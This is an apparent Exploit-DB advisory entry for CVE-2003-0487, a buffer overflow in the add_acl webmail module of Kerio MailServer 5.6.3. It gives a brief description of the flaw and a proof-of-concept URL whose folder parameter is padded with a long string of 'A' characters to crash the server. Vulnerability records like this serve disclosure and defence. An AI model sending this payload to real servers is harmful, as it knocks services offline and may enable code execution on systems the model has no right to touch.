Kerio Mailserver 5.6.3 add_acl Module Overflow

2003-06-18T00:00:00
ID EDB-ID:22801
Type exploitdb
Reporter David F.Madrid
Modified 2003-06-18T00:00:00

Description

Kerio Mailserver 5.6.3 add_acl Module Overflow. CVE-2003-0487. Dos exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/7967/info
 
Multiple buffer overrun vulnerabilities have been discovered in Kerio MailServer, which affect the webmail component. The problem occurs when handling usernames of excessive length and likely occurs due to insufficient bounds checking. Due to the similarity of these issues it has been conjectured that the root of the problem may be a single function used to handle all affected procedures.
 
Successful exploitation of this vulnerability could potentially result in the execution of arbitrary code, with the privileges of the Kerio MailServer process. 

http://[server]/add_acl?folder=~AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
localhost/INBOX&add_name=lucas